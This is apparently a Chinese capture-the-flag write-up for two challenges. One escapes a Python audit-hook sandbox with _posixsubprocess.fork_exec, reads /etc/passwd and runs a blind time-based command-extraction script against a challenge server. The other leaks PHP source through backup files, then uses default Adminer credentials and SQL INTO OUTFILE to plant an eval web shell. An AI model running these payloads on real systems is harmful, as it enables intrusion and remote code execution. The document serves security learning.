ezoj

绕过audit hook

首先我们先了解一下hook函数中的事件参数包括哪些,才能有效针对绕过
Python 中的审计事件包括但不限于以下几类:

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • socket:发生在创建或使用网络套接字时。
  • os.system,os.popen等:发生在执行操作系统命令时。
  • subprocess.Popen,subprocess.run等:发生在启动子进程时

更多的可以看python官方文档:审计事件表 — Python 3.8.20 文档

可以看到基本所有的危险操作都会被hook函数所检查到,audithook 构建沙箱,属于 python 底层的实现,因此常规的变换根本无法绕过.

  1. 通过导入模块操作都会触发audit hook比如
> import ctypes
  1. 通过命令执行函数一样会触发audit hook比如
os  subproccess  exec等函数

posixsubprocess模块

posixsubprocess 模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess

import subprocess

# 执行命令
process = subprocess.Popen(["ls", "-l"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# 获取输出
stdout, stderr = process.communicate()

# 输出结果
print("标准输出:", stdout)


该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异

import sys  
from _typeshed import StrOrBytesPath  
from collections.abc import Callable, Sequence  
from typing_extensions import SupportsIndex  
  
if sys.platform != "win32":  
    def cloexec_pipe() -> tuple[int, int]: ...  
    def fork_exec(  
        __args: Sequence[StrOrBytesPath] | None,  
        __executable_list: Sequence[bytes],  
        __close_fds: bool,  
        __pass_fds: tuple[int, ...],  
        __cwd: str,  
        __env: Sequence[bytes] | None,  
        __p2cread: int,  
        __p2cwrite: int,  
        __c2pread: int,  
        __c2pwrite: int,  
        __errread: int,  
        __errwrite: int,  
        __errpipe_read: int,  
        __errpipe_write: int,  
        __restore_signals: int,  
        __call_setsid: int,  
        __pgid_to_set: int,  
        __gid: SupportsIndex | None,  
        __extra_groups: list[int] | None,  
        __uid: SupportsIndex | None,  
        __child_umask: int,  
        __preexec_fn: Callable[[], None],  
        __allow_vfork: bool,  
    ) -> int: ...

下面是一个最小化示例:

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

/bin/sh的用法

/bin/sh 是 Unix/Linux 系统中默认的 Shell 解释器,通常指向系统的默认 Shell(如 Bash、Dash 等)。它用于执行 Shell 脚本或直接运行命令。以下是关于 /bin/sh 的详细用法:

可以通过 /bin/sh 直接执行单条命令:

/bin/sh -c "ls"

不出网时间盲注命令执行

import requests
import time
session = requests.session()
burp0_url = "http://121.41.238.106:37640/api/submit"

for k in range(1,128):
    k=chr(k)
    poc= f"if [ `ls / | awk NR==1 | cut -c 1` == {k} ];then sleep 2;fi"
    payload=f'''import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/sh","-c","{poc}"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
'''
    burp0_json={"code": payload, "problem_id": "0"}
    time_start=time.time()
    session.post(burp0_url, json=burp0_json)
    time_send=time.time()
    if time_send-time_start>1.5:
        print(k)

okphp

通过扫描目录发现备份文件index.php~
index.php~ 是类Unix系统中文本编辑器(如Vim)生成的备份文件。若服务器配置不当,攻击者可直接访问此类文件,导致源码泄露,可能暴露敏感信息

通过此泄露发现网站全部源码
login.php

<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = addslashes($_POST['username']);
    $password = $_POST['password'];
    $code = $_POST['code'];
    $endpass = md5($code . $password) . ':' . $code;
    $sql = "select password from users where username='$username'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            if ($endpass == $row['password']) {
                $_SESSION['login'] = 1;
                $_SESSION['username'] = md5($username);
                echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
            }
        }
    } else {
        echo "<script>alert(\"错误\");</script>";
        die();
    }
    $conn->close();
}

pass.php

<?php
class mypass
{
    public function generateRandomString($length = 10)
    {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $charactersLength = strlen($characters);
        $randomString = '';

        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }

        return $randomString;
    }
    public function checkpass($plain)
    {
        $password = $this->generateRandomString();
        $salt = substr(md5($password), 0, 5);
        $password = md5($salt . $plain) . ':' . $salt;
        return $password;
    }
}

index.php

<?php
session_start();
if ($_SESSION['login'] != 1) {
    echo "<script>alert(\"Please login!\");window.location.href=\"./login.php\";</script>";
    return;
}
?>
<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>鎵撳崱绯荤粺</title>
    <meta name="keywords" content="HTML5 Template">
    <meta name="description" content="Forum - Responsive HTML5 Template">
    <meta name="author" content="Forum">
    <link rel="shortcut icon" href="favicon/favicon.ico">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/style.css">
</head>

<body>
    <!-- tt-mobile menu -->
    <nav class="panel-menu" id="mobile-menu">
        <ul>

        </ul>
        <div class="mm-navbtn-names">
            <div class="mm-closebtn">
                Close
                <div class="tt-icon">
                    <svg>
                        <use xlink:href="#icon-cancel"></use>
                    </svg>
                </div>
            </div>
            <div class="mm-backbtn">Back</div>
        </div>
    </nav>

    <main id="tt-pageContent">
        <div class="container">
            <div class="tt-wrapper-inner">
                <h1 class="tt-title-border">
                    琛ュ崱绯荤粺
                </h1>
                <form class="form-default form-create-topic" action="./index.php" method="POST">
                    <div class="form-group">
                        <label for="inputTopicTitle">濮撳悕</label>
                        <div class="tt-value-wrapper">
                            <input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username']; ?>">
                        </div>

                    </div>

                    <div class="pt-editor">
                        <h6 class="pt-title">琛ュ崱鍘熷洜</h6>

                        <div class="form-group">
                            <textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
                        </div>

                        <div class="row">
                            <div class="col-auto ml-md-auto">
                                <button class="btn btn-secondary btn-width-lg">鎻愪氦</button>
                            </div>
                        </div>
                    </div>
                </form>
            </div>

        </div>
    </main>
</body>

</html>
<?php
include './cache.php';
$check = new checkin();
if (isset($_POST['reason'])) {
    if (isset($_GET['debug_buka'])) {
        $time = date($_GET['debug_buka']);
    } else {
        $time = date("Y-m-d H:i:s");
    }
    $arraya = serialize(array("name" => $_SESSION['username'], "reason" => $_POST['reason'], "time" => $time, "background" => "ok"));
    $check->writec($_SESSION['username'] . '-' . date("Y-m-d"), $arraya);
}
if (isset($_GET['check'])) {
    $cachefile = '/var/www/html/cache/' . $_SESSION['username'] . '-' . date("Y-m-d") . '.php';
    if (is_file($cachefile)) {
        $data = file_get_contents($cachefile);
        $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
        $check = "/var/www/html/" . $checkdata['background'] . ".php";
        include "$check";
    } else {
        include 'error.php';
    }
}
?>

后来发现应该是被非预期了感觉,直接在ok.php~中泄露了adminer_481.php访问发现是一个数据库管理网页

我们通过默认root root密码登录进来看一下配置文件写入权限

show variables like "%secure%"

可以直接执行sql写shell

select "<?php eval($_POST[1]);" into outfile '/var/www/html/a.php'


最终访问执行命令RCE